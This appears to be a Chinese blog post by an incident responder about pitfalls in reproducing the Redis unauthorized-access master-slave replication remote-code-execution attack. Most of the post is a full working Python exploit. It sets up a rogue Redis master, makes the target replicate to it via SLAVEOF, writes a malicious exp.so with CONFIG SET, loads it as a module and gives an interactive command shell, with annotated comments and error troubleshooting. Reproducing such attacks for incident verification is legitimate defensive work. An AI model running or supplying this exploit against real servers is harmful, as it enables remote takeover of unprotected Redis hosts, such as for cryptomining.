大柚子

这世界不过如此

一、前言

在日常的挖矿类应急工作中,发现大多数的入侵原因都是redis的未授权和主从复制,所以有时为了证明,就用去尝试利用redis的漏洞证明存在,然后就踩了比较多的坑的,这里简单罗列下在复现的过程中踩过的坑。

关于主动复制的原理可参考:https://www.cnblogs.com/kismetv/p/9236731.html

二、因为菜而遇到的坑

1、关于是否需要自己开个redis服务作为主服务器

这是我觉得自己最愚蠢的一点,因为是完全没必要的,脚本中是会自己构造一个redis主服务器,想要深度学习的可以自己搭建,一步一步手动利用。

2、关于脚本中的细节

网上找了份利用的poc,但是原先的代码中存在一个问题,就是没有指定目标服务器的


#!/usr/bin/env python3
import socket
import sys
from time import sleep
from optparse import OptionParser

payload = open("exp.so", "rb").read()
CLRF = "\r\n"

def mk_cmd_arr(arr):
    cmd = ""
    cmd += "*" + str(len(arr))
    for arg in arr:
        cmd += CLRF + "$" + str(len(arg))
        cmd += CLRF + arg
    cmd += "\r\n"
    return cmd

def mk_cmd(raw_cmd):
    return mk_cmd_arr(raw_cmd.split(" "))

def din(sock, cnt):
    msg = sock.recv(cnt)
    if len(msg) < 300:
        print(f"\033[1;34;40m[->]\033[0m {msg}")
    else:
        print(f"\033[1;34;40m[->]\033[0m {msg[:80]}......{msg[-80:]}")
    return msg.decode()

def dout(sock, msg):
    if type(msg) != bytes:
        msg = msg.encode()
    sock.send(msg)
    if len(msg) < 300:
        print(f"\033[1;32;40m[<-]\033[0m {msg}")
    else:
        print(f"\033[1;32;40m[<-]\033[0m {msg[:80]}......{msg[-80:]}")

def decode_shell_result(s):
    return "\n".join(s.split("\r\n")[1:-1])

class Remote:
    def __init__(self, rhost, rport):
        self._host = rhost
        self._port = rport
        self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self._sock.connect((self._host, self._port))

    def send(self, msg):
        dout(self._sock, msg)

    def recv(self, cnt=65535):
        return din(self._sock, cnt)

    def do(self, cmd):
        self.send(mk_cmd(cmd))
        buf = self.recv()
        return buf

    def shell_cmd(self, cmd):
        self.send(mk_cmd_arr(['system.exec', f"{cmd}"]))
        buf = self.recv()
        return buf

class RogueServer:
    def __init__(self, lhost, lport):
        self._host = lhost
        self._port = lport
        self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self._sock.bind((self._host, self._port))
        self._sock.listen(10)

    def handle(self, data):
        resp = ""
        phase = 0
        if "PING" in data:
            resp = "+PONG" + CLRF
            phase = 1
        elif "REPLCONF" in data:
            resp = "+OK" + CLRF
            phase = 2
        elif "PSYNC" in data or "SYNC" in data:
            resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
            resp += "$" + str(len(payload)) + CLRF
            resp = resp.encode()
            resp += payload + CLRF.encode()
            phase = 3
        return resp, phase

    def exp(self):
        cli, addr = self._sock.accept()
        while True:
            data = din(cli, 1024)
            if len(data) == 0:
                break
            resp, phase = self.handle(data)
            dout(cli, resp)
            if phase == 3:
                break

def interact(remote):
    try:
        while True:
            cmd = input("\033[1;32;40m[<<]\033[0m ").strip()
            if cmd == "exit":
                return
            r = remote.shell_cmd(cmd)
            for l in decode_shell_result(r).split("\n"):
                if l:
                    print("\033[1;34;40m[>>]\033[0m " + l)
    except KeyboardInterrupt:
        return

def runserver(rhost, rport, lhost, lport):
    # expolit
    remote = Remote(rhost, rport)
    remote.do(f"SLAVEOF {lhost} {lport}") <strong>#设置主redis服务器</strong>
    remote.do("CONFIG SET dir /tmp")     <strong> #注:设置快照文件存放路径,这是会忽略的点,因为很多时候权限不足,不足以同步模块</strong>
    remote.do("CONFIG SET dbfilename exp.so")<strong>#设置dbfilename为命令运行环境exp.so文件</strong>
    sleep(2)
    rogue = RogueServer(lhost, lport)
    rogue.exp()
    sleep(2)
    <strong>remote.do("MODULE LOAD ./exp.so")</strong> <strong>#加载同步module,同步so文件,用于执行命令</strong>
    remote.do("SLAVEOF NO ONE")

    # Operations here
    interact(remote)

    # clean up <strong>还原初始环境,清理同步的so文件</strong>
    remote.do("CONFIG SET dbfilename dump.rdb")
    remote.shell_cmd("rm ./exp.so")
    remote.do("MODULE UNLOAD system")

if __name__ == '__main__':
    parser = OptionParser()
    parser.add_option("--rhost", dest="rh", type="string",
            help="target host")
    parser.add_option("--rport", dest="rp", type="int",
            help="target redis port, default 6379", default=6379)
    parser.add_option("--lhost", dest="lh", type="string",
            help="rogue server ip")
    parser.add_option("--lport", dest="lp", type="int",
            help="rogue server listen port, default 21000", default=21000)

    (options, args) = parser.parse_args()
    if not options.rh or not options.lh:
        parser.error("Invalid arguments")
    #runserver("127.0.0.1", 6379, "127.0.0.1", 21000)
    print(f"TARGET {options.rh}:{options.rp}")
    print(f"SERVER {options.lh}:{options.lp}")
    runserver(options.rh, options.rp, options.lh, options.lp)

其实只要关键点是:“SET dir” ,因为很多情况下redis服务的启动用户权限是很低的,对默认的目录是没有写入权限的。

3、关于报错

(1)遇到过报错:slaveof directive not allowed in cluster mode

原因:(集群模式下不允许 slaveof 指令)这是因为slave服务中cluster-enabled参数的值设置为yes

(2)Error loading the extension

原因:(加载扩展程序时出错)

Print Friendly, PDF & Email

发表回复

您的电子邮箱地址不会被公开。